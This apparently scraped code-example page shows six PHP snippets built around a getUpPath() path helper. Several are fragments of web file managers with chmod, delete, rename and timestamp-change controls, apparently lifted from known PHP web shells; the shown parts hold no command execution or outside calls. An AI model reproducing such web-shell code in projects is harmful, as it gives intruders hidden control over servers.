Exemplo n.º 1
0
         $thisbg = bg();
         p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
         p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
         p('<td nowrap>' . $dirdb['mtime'] . '</td>');
         p('<td nowrap>' . $attachsize . '</td>');
         p('<td nowrap>');
         p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
         p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
         p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete <' . $dirdb['filename'] . '>? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Rename</a></td>');
         p('</tr>');
         $dir_i++;
     } else {
         if ($dirdb['filename'] == '..') {
             p('<tr class=' . bg() . '>');
             p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Parent Directory</a></td>');
             p('</tr>');
         }
     }
 }
 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
 makehide('action', 'file');
 makehide('thefile');
 makehide('doing');
 makehide('dir', $nowpath);
 $file_i = '0';
 foreach ($filedata as $key => $filedb) {
     if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
         $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"], '', $filedb['server_link']);
         $thisbg = bg();
Exemplo n.º 2
0
         $thisbg = bg();
         p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
         p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="' . $dirdb['server_link'] . '"></td>');
         p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
         p('<td nowrap><a href="javascript:opfile(\'newtime\',\'' . $dirdb['server_link'] . '\',\'' . $dirdb['dirlink'] . '\');">' . $dirdb['mtime'] . '</a></td>');
         p('<td nowrap>' . $attachsize . '</td>');
         p('<td nowrap>');
         p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
         p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
         p('<td nowrap><a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Rename</a></td>');
         p('</tr>');
         $dir_i++;
     } else {
         if ($dirdb['filename'] == '..') {
             p('<tr class=' . bg() . '>');
             p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Parent Directory</a></td>');
             p('</tr>');
         }
     }
 }
 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
 $file_i = '0';
 foreach ($filedata as $key => $filedb) {
     if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
         $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"], '', $filedb['server_link']);
         $thisbg = bg();
         p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
         p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="' . $filedb['server_link'] . '"></td>');
         p('<td>' . (strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false ? '<a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a>' : $filedb['filename']) . '</td>');
         p('<td nowrap><a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">' . $filedb['mtime'] . '</a></td>');
         p('<td nowrap>' . $filedb['size'] . '</td>');
Exemplo n.º 3
0
                                    $filedata[] = $file;
                                }
                            }
                        }
                        //TODO syslinks
                    }
                    closedir($res);
                    natcasesort($dirdata);
                    natcasesort($filedata);
                }
            } else {
                $sBuff .= sDialog(tText('accessdenied', 'Access denied'));
            }
        }
        $sBuff .= '<table id="sort" class="explore sortable">
			<thead><tr data-path="' . getUpPath($currentdir) . '" class="alt1">
			<td class="alt1 sorttable_nosort">' . mLink('<div class="image lnk"></div>', 'godir(this, false)') . '</td>
			<td class="touch" width="70%"><b>' . tText('name', 'Name') . '</b></td>
			<td class="touch"><b>' . tText('date', 'Date') . '</b></td>
			<td class="touch"><b>' . tText('size', 'Size') . '</b></td>
			' . (!$isWIN ? '<td><b>' . tText('chmodchown', 'Chmod/Chown') . '</b></td>' : '') . '
			<td width="120px"><b>' . tText('actions', 'Actions') . '</b></td>
			</tr></thead>
			<tbody>';
        $bg = 2;
        foreach ($dirdata as $file) {
            $sBuff .= '<tr data-path="' . $file . DS . '" class="' . ($bg++ % 2 == 0 ? 'alt1' : 'alt2') . '">
					<td><input type="checkbox" value="' . $file . DS . '" name="dl[]"></td>
					<td><div class="image dir"></div><a href="#" onclick="godir(this, true);return false;">' . $file . '</a></td>
					<td><a href="#" onclick="showUI(\'mdate\', this);return false;">' . date($config['datetime'], filemtime($currentdir . $file)) . '</a></td>
					<td><a href="#" onclick="viewSize(this);return false;">[?]</a></td>
                 $filedb['chmod'] = getChmod($filepath);
                 $filedb['perm'] = PermsColor($filepath);
                 $filedb['owner'] = getUser($filepath);
                 $filedb['link'] = $filepath;
                 $filedata[] = $filedb;
             }
         }
         unset($dirdb);
         unset($filedb);
     }
 }
 $dir_i = '0';
 if (isset($dirdata['up'])) {
     $thisbg = bg();
     p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
     p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:g(\'file\',\'' . getUpPath($cwd) . '\');">Parent Directory</a></td>');
     p('</tr>');
 }
 unset($dirdata['up']);
 usort($dirdata, 'cmp');
 usort($filedata, 'cmp');
 foreach ($dirdata as $key => $dirdb) {
     if ($p1 == 'getsize' && $p2 == $dirdb['filename']) {
         $attachsize = dirsize($p2);
         $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
     } else {
         $attachsize = '<a href="javascript:g(\'file\', null, \'getsize\', \'' . $dirdb['filename'] . '\');">Stat</a>';
     }
     $thisbg = bg();
     p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
     p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="' . $dirdb['filename'] . '"></td>');
Exemplo n.º 5
0
<?php

/**
 * Created by PhpStorm.
 * User: abcdlzy
 * Date: 15/2/14
 * Time: 下午6:17
 */
function getUpPath($cwd)
{
    $pathdb = explode('/', $cwd);
    $num = count($pathdb);
    if ($num > 2) {
        unset($pathdb[$num - 1]);
    }
    $uppath = implode('/', $pathdb) . '/';
    $uppath = str_replace('//', '/', $uppath);
    return $uppath;
}
echo getUpPath('/Users/abcdlzy/Documents/GDWeb/CA/1151220136/Data');
Exemplo n.º 6
0
        unset($pathdb[$num - 1], $pathdb[$num - 2]);
    }
    $uppath = implode('/', $pathdb) . '/';
    $uppath = str_replace('//', '/', $uppath);
    return $uppath;
}
echo "<table cellpadding=1 cellspacing=1 boarder=0 bgcolor='#E4E4E4' width='40%'><tr><td bgcolor='#dddddd' height='25' align='center'> </td><td bgcolor='#dddddd' height='25' align='center'> </td></tr></tr>";
$files = getFiles($path);
foreach ($files as $file) {
    if ($file[type] == "dir") {
        if ($file[name] == '..') {
            $tpath = getUpPath($path);
        } else {
            if ($file[name] == '.') {
                $file[name] = '..';
                $tpath = getUpPath($path);
            } else {
                $tpath = $path . $file[name];
            }
        }
        $value = substr($tpath, strlen($tpath) - 1, strlen($tpath));
        if ($value == '/') {
            $tpath = substr($tpath, 0, strlen($tpath) - 1);
        }
        print "<tr><td bgcolor='#cccccc' height='25'><a href={$PHP_SELF}?dir={$tpath}&msg=viewer>" . $file[name] . "</a></td><td bgcolor='#cccccc' height='25' align='center'> " . $file['per'] . "</td></tr>";
    } else {
        print "<tr onMouseOver=this.style.backgroundColor='#fff3cf' onMouseOut=this.style.backgroundColor=''><td bgcolor='#FFFFFF' height='25'>" . $file[name] . "</td><td bgcolor='#DDDDDD' height='25' align='center'> " . $file['per'] . "</td></tr>";
    }
}
echo "</table>";
?>